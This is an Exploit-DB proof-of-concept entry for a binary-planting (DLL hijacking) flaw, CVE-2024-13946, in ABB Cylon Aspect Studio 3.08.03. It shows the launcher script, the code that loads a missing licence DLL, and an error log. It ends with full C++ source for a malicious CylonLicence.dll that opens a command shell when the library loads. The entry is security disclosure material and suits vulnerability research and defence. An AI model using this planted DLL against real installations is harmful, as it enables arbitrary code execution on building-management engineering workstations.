Exploit-DB #52306
Description: ABB Cylon Aspect Studio 3.08.03 - Binary Planting
Type: local
Platform: multiple
Date: 2025-05-25
Author: LiquidWorm

Exploit:
# Exploit Title: ABB Cylon Aspect Studio 3.08.03 - Binary Planting
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: <=3.08.03
# Tested on: Microsoft Windows 10 Home (EN) OpenJDK 64-Bit Server VM Temurin-21.0.6+7
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience

# Advisory ID: ZSL-2025-5952
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5952.php

# CVE ID: CVE-2024-13946
# CVE URL: https://www.cve.org/CVERecord/SearchResults?query=CVE-2024-13946

C:\> type project

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C:\Aspect\Aspect-Studio-3.08.03> del CylonLicence.dll
C:\Aspect\Aspect-Studio-3.08.03> type aspect.bat
REM 64bit parameters
jre\bin\javaw -Dormlite.networkpoint.load=true -Dfile.encoding="UTF-8" -DlookAndFeel=nimbus -DMapGraphic.forceLoad=0 -DBACnet.discovery.driverPort=4224 -DBACnet.discovery.debugLevel=0 -Djava.library.path=. -DportPool.maxPortWaitTime=10000 -DOverride.enabled=false -Dlog4j.configuration=./log4j.aspectstudio.properties -Dswing.noxp=true -Dsun.java2d.d3d=false -Dsun.java2d.noddraw=true -XX:+UseG1GC -XX:MaxGCPauseMillis=200 -XX:InitiatingHeapOccupancyPercent=25 -Xss256k -Xms1024m -Xmx4096m -jar AspectStudioObf.jar

C:\Aspect\Aspect-Studio-3.08.03-a09>aspect.bat

C:\Aspect\Aspect-Studio-3.08.03-a09>REM 64bit parameters

C:\Aspect\Aspect-Studio-3.08.03-a09>jre\bin\javaw -Dormlite.networkpoint.load=true -Dfile.encoding="UTF-8" -DlookAndFeel=nimbus -DMapGraphic.forceLoad=0 -DBACnet.discovery.driverPort=4224 -DBACnet.discovery.debugLevel=0 -Djava.library.path=. -DportPool.maxPortWaitTime=10000 -DOverride.enabled=false -Dlog4j.configuration=./log4j.aspectstudio.properties -Dswing.noxp=true -Dsun.java2d.d3d=false -Dsun.java2d.noddraw=true -XX:+UseG1GC -XX:MaxGCPauseMillis=200 -XX:InitiatingHeapOccupancyPercent=25 -Xss256k -Xms1024m -Xmx4096m -jar AspectStudioObf.jar


C:\Aspect\Aspect-Studio-3.08.03> type AspectStudio.class
...
...
System.loadLibrary("CylonLicence");
} catch (Throwable t) {}
LoggerUtil.logger.error("Error loading license DLL", t);
}
}
...
...

C:\Aspect\Aspect-Studio-3.08.03> cd logs
C:\Aspect\Aspect-Studio-3.08.03\logs>type AspectStudio.log

ERROR: 2025-01-16 16:47:58,579 Error loading license DLL [main]
java.lang.UnsatisfiedLinkError: no CylonLicence in java.library.path
  at java.lang.ClassLoader.loadLibrary(ClassLoader.java:1867)
  at java.lang.Runtime.loadLibrary0(Runtime.java:870)
  at java.lang.System.loadLibrary(System.java:1122)
  at com.aamatrix.util.AspectStudio.<clinit>(AspectStudio.java:42)
  at com.aamatrix.vib.rrobin.CylonLicense.<init>(CylonLicense.java:18)
  at com.aamatrix.vib.rrobin.LicenseService.<init>(LicenseService.java:38)
  at com.aamatrix.vib.rrobin.LicenseService.<clinit>(LicenseService.java:34)
  at com.aamatrix.projectmanager.AspectStudio.<clinit>(AspectStudio.java:52)
  at java.lang.Class.forName0(Native Method)
  at java.lang.Class.forName(Class.java:348)
  at com.aamatrix.projectmanager.AspectStudioLauncher.main(AspectStudioLauncher.java:70)
  ...
  ...

C:\DLL-Mala> type CylonLicence.cpp

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shellapi.h>


extern "C" __declspec(dllexport)
DWORD WINAPI ExecuteCmdThread(LPVOID lpParam) {
    ShellExecuteW(NULL, L"open", L"cmd.exe", L"/c start", NULL, SW_SHOWNORMAL);
    return 0;
}

extern "C" __declspec(dllexport)
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, 0, ExecuteCmdThread, NULL, 0, NULL);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}